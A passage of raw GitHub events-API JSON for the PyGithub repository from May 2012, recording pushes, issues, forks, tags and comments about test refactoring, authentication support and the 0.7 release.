77d9699d7","avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/Lyloa","id":1131432,"login":"Lyloa"}},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-27T05:34:29Z","id":"1556233923","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"MemberEvent","payload":{"action":"added","member":{"gravatar_id":"1517ed584458ccf83e03f5d77d9699d7","avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/Lyloa","id":1131432,"login":"Lyloa"}},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-27T05:33:44Z","id":"1556233882","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"ForkEvent","payload":{"forkee":{"name":"PyGithub","size":348,"has_wiki":false,"created_at":"2012-05-27T05:23:17Z","clone_url":"https://github.com/BeaverSoftware/PyGithub.git","public":true,"watchers":1,"private":false,"updated_at":"2012-05-27T05:23:18Z","git_url":"git://github.com/BeaverSoftware/PyGithub.git","fork":true,"language":"Python","url":"https://api.github.com/repos/BeaverSoftware/PyGithub","ssh_url":"git@github.com:BeaverSoftware/PyGithub.git","id":4460027,"svn_url":"https://github.com/BeaverSoftware/PyGithub","pushed_at":"2012-05-26T20:54:13Z","has_downloads":true,"mirror_url":null,"open_issues":0,"full_name":"BeaverSoftware/PyGithub","has_issues":false,"homepage":"http://vincent-jacques.net/PyGithub","description":"Python library implementing the full Github API v3","forks":0,"html_url":"https://github.com/BeaverSoftware/PyGithub","owner":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware"}}},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-27T05:23:18Z","id":"1556233222","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware"}},{"type":"PushEvent","payload":{"head":"a39af6a0aae16a923f7be48a70fe1095b17280d2","size":2,"push_id":80709334,"commits":[{"sha":"60fb7a8ef56f46d3fe9ce6d008e6b58238a71d29","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/60fb7a8ef56f46d3fe9ce6d008e6b58238a71d29","distinct":true,"message":"Heavy refactoring of integration tests"},{"sha":"a39af6a0aae16a923f7be48a70fe1095b17280d2","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a39af6a0aae16a923f7be48a70fe1095b17280d2","distinct":true,"message":"Improve test coverage"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-26T20:54:15Z","id":"1556182773","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"WatchEvent","payload":{"action":"started"},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-26T18:33:42Z","id":"1556168218","actor":{"gravatar_id":"1689abbd998128dbb3658698b429b022","avatar_url":"https://secure.gravatar.com/avatar/1689abbd998128dbb3658698b429b022?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/michaelpedersen","id":22974,"login":"michaelpedersen"}},{"type":"IssuesEvent","payload":{"action":"closed","issue":{"number":28,"created_at":"2012-05-19T10:38:23Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"Body edited by PyGithub","title":"Issue created by PyGithub","comments":0,"updated_at":"2012-05-26T14:59:33Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28","id":4653757,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":1,"created_at":"2012-03-08T12:22:10Z","due_on":"2012-03-13T07:00:00Z","title":"Version 0.4","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/1","id":93546,"open_issues":0,"closed_issues":3,"description":"","state":"closed"},"closed_at":"2012-05-26T14:59:33Z","html_url":"https://github.com/PyGithub/PyGithub/issues/28","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"labels":[{"name":"Bug","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","color":"e10c02"},{"name":"Project management","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","color":"444444"},{"name":"Question","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","color":"02e10c"}],"state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-26T14:59:34Z","id":"1556145515","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"36574ded89738a81f47f415017ba880d0cad839b","size":5,"push_id":80677260,"commits":[{"sha":"95cd6c507bdfbf3700a31bafbe26f72a1d684be1","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/95cd6c507bdfbf3700a31bafbe26f72a1d684be1","distinct":true,"message":"Use setUp in test for NamedUser"},{"sha":"386bcde55e1744fa888b034d34ad9f167595d2cf","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/386bcde55e1744fa888b034d34ad9f167595d2cf","distinct":true,"message":"Refactor tests of NamedUser"},{"sha":"1b3ca70ebe8724ab7d0d6ba9c8b20853a018eeec","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1b3ca70ebe8724ab7d0d6ba9c8b20853a018eeec","distinct":true,"message":"Restore coverage of Event"},{"sha":"ff8d87d5391b2ef8d10e89f77260a18440e88e25","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/ff8d87d5391b2ef8d10e89f77260a18440e88e25","distinct":true,"message":"Test NamedUser.create_gist withour description"},{"sha":"36574ded89738a81f47f415017ba880d0cad839b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/36574ded89738a81f47f415017ba880d0cad839b","distinct":true,"message":"Refactor tests of Repository"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-26T11:25:50Z","id":"1556126182","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"619eae8d51c5988f0d2889fc767fa677438ba95d","size":11,"push_id":80673538,"ref":"refs/heads/topic/RewriteWithGeneratedCode","commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"},{"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","distinct":false,"message":"Merge branch 'develop'"},{"sha":"3a3bf4763192ee1234eb0557628133e06f3dfc76","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/3a3bf4763192ee1234eb0557628133e06f3dfc76","distinct":true,"message":"Merge branch 'master' into topic/RewriteWithGeneratedCode\n\nConflicts:\n\tgithub/Github.py\n\tgithub/Requester.py"},{"sha":"608f17794664f61693a3dc05e6056fea8fbef0ff","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/608f17794664f61693a3dc05e6056fea8fbef0ff","distinct":true,"message":"Restore some form of Authorization header in replay data"},{"sha":"2c04b8adbd91d38eef4f0767337ab7a12b2f684b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2c04b8adbd91d38eef4f0767337ab7a12b2f684b","distinct":true,"message":"Allow test without pre-set-up Github"},{"sha":"5b97389988b6fe43e15a079702f6f1671257fb28","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5b97389988b6fe43e15a079702f6f1671257fb28","distinct":true,"message":"Test three authentication schemes"},{"sha":"12747613c5ec00deccf296b8619ad507f7050475","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/12747613c5ec00deccf296b8619ad507f7050475","distinct":true,"message":"Test Issue.getComments"},{"sha":"2982fa96c5ca75abe717d974d83f9135d664232e","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2982fa96c5ca75abe717d974d83f9135d664232e","distinct":true,"message":"Test the new Repository.full_name attribute"},{"sha":"619eae8d51c5988f0d2889fc767fa677438ba95d","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/619eae8d51c5988f0d2889fc767fa677438ba95d","distinct":true,"message":"Improve coverage of AuthenticatedUser"}]},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-26T10:01:39Z","id":"1556114751","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"closed","issue":{"number":29,"created_at":"2012-05-25T11:47:59Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"","comments":0,"title":"Publish version 0.7","updated_at":"2012-05-25T17:32:32Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/29","id":4752048,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"due_on":"2012-05-26T07:00:00Z","created_at":"2012-05-25T11:47:06Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/5","id":124045,"closed_issues":2,"open_issues":0,"description":"","state":"closed"},"closed_at":"2012-05-25T17:32:32Z","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"labels":[{"name":"Project management","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","color":"444444"}],"html_url":"https://github.com/PyGithub/PyGithub/issues/29","state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-25T17:32:33Z","id":"1555940993","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"closed","issue":{"number":15,"created_at":"2012-03-13T06:24:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"One would want to use the API without authentication, with login+password, and with OAuth token. Let's cover these use-cases.","comments":1,"title":"Implement all authentication schemes","updated_at":"2012-05-25T17:32:31Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/15","id":3624575,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"due_on":"2012-05-26T07:00:00Z","created_at":"2012-05-25T11:47:06Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/5","id":124045,"closed_issues":2,"open_issues":0,"description":"","state":"closed"},"closed_at":"2012-05-25T17:32:31Z","labels":[{"name":"Functionalities","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","color":"e102d8"}],"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/PyGithub/PyGithub/issues/15","state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-25T17:32:33Z","id":"1555940986","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CreateEvent","payload":{"master_branch":"master","ref_type":"tag","ref":"v0.7","description":"Python library implementing the full Github API v3"},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-25T17:19:48Z","id":"1555936661","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"DeleteEvent","payload":{"ref_type":"branch","ref":"topic/Authentication"},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-25T17:19:48Z","id":"1555936660","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","size":4,"push_id":80573368,"ref":"refs/heads/master","commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"},{"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","distinct":true,"message":"Merge branch 'develop'"}]},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-25T17:19:48Z","id":"1555936659","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","size":3,"push_id":80573367,"commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"}],"ref":"refs/heads/develop"},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-25T17:19:47Z","id":"1555936657","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CreateEvent","payload":{"master_branch":"master","ref":"topic/Authentication","description":"Python library implementing the full Github API v3","ref_type":"branch"},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-25T12:24:21Z","id":"1555833283","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"opened","issue":{"number":29,"created_at":"2012-05-25T11:47:59Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"","title":"Publish version 0.7","comments":0,"updated_at":"2012-05-25T11:47:59Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/29","id":4752048,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"created_at":"2012-05-25T11:47:06Z","due_on":"2012-05-26T07:00:00Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/5","id":124045,"open_issues":2,"closed_issues":0,"description":"","state":"open"},"closed_at":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/PyGithub/PyGithub/issues/29","labels":[{"name":"Project management","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","color":"444444"}],"state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-25T12:02:48Z","id":"1555822981","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-25T06:31:42Z","body":"It means that there will be three ways to create an instance of the Github class:\n github = Github()\n github = Github( login, password )\n github = Github( oauth_token )\n","updated_at":"2012-05-25T06:31:42Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5924198","id":5924198,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},"action":"created","issue":{"number":15,"created_at":"2012-03-13T06:24:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"comments":1,"body":"One would want to use the API without authentication, with login+password, and with OAuth token. Let's cover these use-cases.","title":"Implement all authentication schemes","updated_at":"2012-05-25T06:31:42Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/15","id":3624575,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":null,"closed_at":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"labels":[{"name":"Functionalities","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","color":"e102d8"}],"html_url":"https://github.com/PyGithub/PyGithub/issues/15","state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-25T06:31:42Z","id":"1555742639","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"WatchEvent","payload":{"action":"started"},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-25T06:05:21Z","id":"1555738288","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"527ce7459a2e60d1536883f19b9bc6850d71127b","size":5,"push_id":79877715,"commits":[{"sha":"287bc541542f9d32339e7dd4b36a511cab2ebdae","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/287bc541542f9d32339e7dd4b36a511cab2ebdae","distinct":true,"message":"Generate more coverage information"},{"sha":"588a4a9a355096c00a2bb25f27664d2115e120ac","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/588a4a9a355096c00a2bb25f27664d2115e120ac","distinct":true,"message":"Test AuthenticatedUser watching"},{"sha":"815720f0deb376c34166c27b6e3b73e5c1f5b1a3","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/815720f0deb376c34166c27b6e3b73e5c1f5b1a3","distinct":true,"message":"Test 